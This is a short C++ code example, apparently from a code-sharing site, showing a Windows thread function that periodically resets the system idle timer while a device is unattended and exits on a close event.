Exemple #1
0
DWORD WINAPI ResetIdle(LPVOID lpParam) {
    Device *deviceObj = Device::self();
    HANDLE closeEvent = (HANDLE)lpParam;
    DWORD dwDelay = INFINITE;

    LOOP {
        if (WaitForSingleObject(closeEvent, dwDelay) == WAIT_OBJECT_0) {
            if (bResetStop) {
                DBG_TRACE(L"Debug - Device.cpp - ResetIdle() thread closing\n", 1, FALSE);
                return 0;
            }

            Sleep(500);

            // Cambio del power state
            if (deviceObj->IsDeviceUnattended()) {
                SystemIdleTimerReset();
                dwDelay = 30000;
            } else {
                dwDelay = INFINITE;
            }
        }
    }
}